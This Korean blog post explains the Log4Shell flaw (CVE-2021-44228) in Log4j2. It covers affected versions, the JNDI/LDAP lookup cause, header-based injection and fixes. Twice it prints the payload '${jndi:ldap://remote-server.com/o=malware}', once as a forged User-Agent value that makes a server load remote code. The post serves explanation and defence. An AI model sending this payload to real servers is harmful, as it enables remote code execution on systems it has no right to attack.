제리의 배움 기록

[Logging] Log4j 보안 문제와 해결방법 정리 본문

스프링

[Logging] Log4j 보안 문제와 해결방법 정리

제리92 2021. 12. 21. 17:36

로깅 프레임워크 : log4j, logback, log4j2

자바를 이용한 웹서비스 개발시 사용자의 다양한 이벤트 정보를 로깅하게 됩니다.
로깅 프레임워크는 이러한 로깅을 패턴화하고 간편하게 할 수 있도록 지원합니다.

자바 진영에는 slf4j(Simple Logging Facade For Java)라는 추상화된 로깅 프레임워크가 있습니다.
그리고 slf4j를 구체화한 구현체에는 대표적으로 log4j, logback, log4j2 등이 있습니다.

출시 순서 : log4j(2015년 지원 만료) -> logback -> log4j2

Spring Boot에서는 spring-boot-starter에서 기본으로 slf4j와 logback 구현체를 의존하고 있습니다.
별도로 log4j2 구현체로 변경하지 않아서 logback을 사용 중이라면 이번 이슈와는 무관합니다.

Log4j2 보안 위험 도출

최근 Log4j2 보안이 큰 이슈가 됐었습니다.(2021.12.09 공식 리포팅)

CVE-2021-44228로 등록된 이번 이슈는
원격코드 실행(RCE:Remote Code Execution) 발생 위험이 내포되어 CVSS 스코어 10점으로 치명적 보안 위험 등급을 받았습니다.

CVE(Common Vulnerabilities and Exposures): 공개적으로 알려진 컴퓨터 보안 결함
미국 국토안보부 산하의 사이버 보안 및 인프라 보안국(Cybersecurity and Infrastructure Security Agency)의 재정 지원을 받아 MITRE Corporation에서 감독합니다.

CVSS(Common Vulnerability Scoring System) 공통 취약점 등급 시스템

위험 대상 Log4j2 버전

2.12.1, 2.13.0~ 2.15.0 : 위험 대상
(Log4j(1.x.x) : 대상 아님. jndi lookup이 2.0.0 부터 도입되었기 때문에 1 버전은 무관) 1.2 버전 취약점 추가 보고 건 아래 추가

취약점 원인

이슈의 핵심은 Log4j2 에서 다음과 같이 JNDI와 LDAP 인터페이스를 이용해 원격지의 서비스 호출이 가능한 취약점을 이용한 것입니다.

logger.info("${jndi:ldap://remote-server.com/o=malware}");

JNDI(Java Naming and Directory Interface)

  • 디렉터리 서비스에서 제공하는 데이터 및 객체를 발견하고 참고하기 위한 자바 API
  • JNDI는 다양한 서비스 공급자 인터페이스를 지원함
  • 활용 예 : WAS에서 만들어놓은 DB 커넥션 풀을 가져와서 사용할 때 활용

LDAP(Lightweight Directory Access Protocol)

  • JNDI의 다양한 서비스 공급자 중, 이번 이슈와 관련이 있는 인터페이스
  • 원격지의 자바 object를 탐색하고 실행할 수 있게 지원함

해커가 어떻게 사용할까

웹서비스를 운영할 때 로깅은 필수적인 요소입니다.
기본적으로 사용자의 요청 이벤트를 남기는 것에서 부터 사용자의 브라우저 환경, 접속 와이파이 정보 등 목적에 따라 다양하고도 수많은 정보를 기록합니다.
때문에 위와 같은 코드로 서버를 공격할 수 있는 포인트가 많이 숨어있습니다.

예를 들어, 사용자의 디바이스와 브라우저 정보등을 담고 있는 User-agent는 흔히 남기는 로깅 데이터 중 하나 입니다.

아래와 같이 서버에서 사용자의 request를 파싱하여 헤더에서 user-agent 정보를 참조하여 로깅을 할 경우에,

logger.info("User-agent : {}",request.getHeader("user-agent"));

헤더의 user-agent 정보를 임의로 조작하여 보내게 되면 서버에서는 이를 인지하지 못하고 Log4j 에서 사용하게 되면서
원격지의 object를 실행하게 됩니다.

headers {
    "user-agent" : ${jndi:ldap://remote-server.com/o=malware}
}

User-agent 외에도 로그인할 때 입력하는 정보와 같이 각종 입력 정보도 서버에서 남기는 주요 대상이 되기 때문에 공격 포인트가 될 수 있습니다.

출처 : https://securityboulevard.com/2021/12/log4shell-jndi-injection-via-attackable-log4j/

왜 문자로 인지하지 않고 jndi를 실행할까

Log4j에서는 특별히 처리하는 특수구문이 정의되어있습니다.
(예를 들어 ${java:version}의 경우에는 현재 실행중인 java 버전을 반환합니다.)
jndi도 미리 정의된 특수구문으로서 문자열로 인식되지 않고 jndi 서비스를 통해 변수를 가져올 수 있도록 합니다. 그리고 log4j-core 패키지에 있는 JndiLookup 클래스에서는 이 jndi의 특수구문을 이용하여 실제 Jndi 서비스를 참조합니다.

JndiLookup는 JndiManager를 이용해 JndiResource를 찾고 이를 실행하여 key를 읽어오도록 하고 있습니다.

[log4j-core - 2.12.0 - JndiLookup 소스코드 참고](https://code.yawk.at/org.apache.logging.log4j/log4j-core/2.12.0/org/apache/logging/log4j/core/lookup/JndiLookup.java)

해결방법

1) 보안 패치 버전으로 프레임워크 업그레이드

  • (java 8 이상) 2.17.0
  • (java 7 이하) 2.12.2

2) 기존 시스템이 업그레이드 할 수 없는 상황이라면

  • Log4j-core jar에서 JndiLookup.class 삭제

3) 웹방화벽(WAF)을 이용한 위험 요소 탐지

  • 클라이언트로 부터 들어오는 헤더 및 body 데이터 등을 탐지하여 관련 패턴의 경우 방어하도록 하는 등의 조치
  • 실직적인 해결방법은 1) 혹은 2)의 조치를 하여야 함
  • Log4j 취약점을 이용한 해커들의 공격이 급증하고 있기 때문에 서버까지 트래픽이 들어오기 전 앞단에서 조치를 해주는 것도 권장됨

! 추가

Log4j 1.2.x 버전대에서도 JNDI 관련 보안 취약점이 발견되었습니다.
문제가 되는 기능은 JMSAppender 입니다.

제일 좋은 방법은 log4j2 최신버전으로 업그레이드 하는 것이지만, 실무에서 업그레이드 할 수 업는 상황이라면

1)log4j 관련 설정파일에서 기능을 비활성화 하거나 (기본은 비활성화)
2)log4j jar 에서 JMSAppender.class를 삭제 하여야 합니다.

 

[참고]

log4j 내 취약점
redhat - what is cve
org.apache.logging.log4j - JndiLookup
krCERT - Apache Log4j 보안 업데이트 권고

'스프링' 카테고리의 다른 글

[Spring] Slf4j 로깅에 템플릿을 사용해야 하는 이유  (0) 2021.12.08
Comments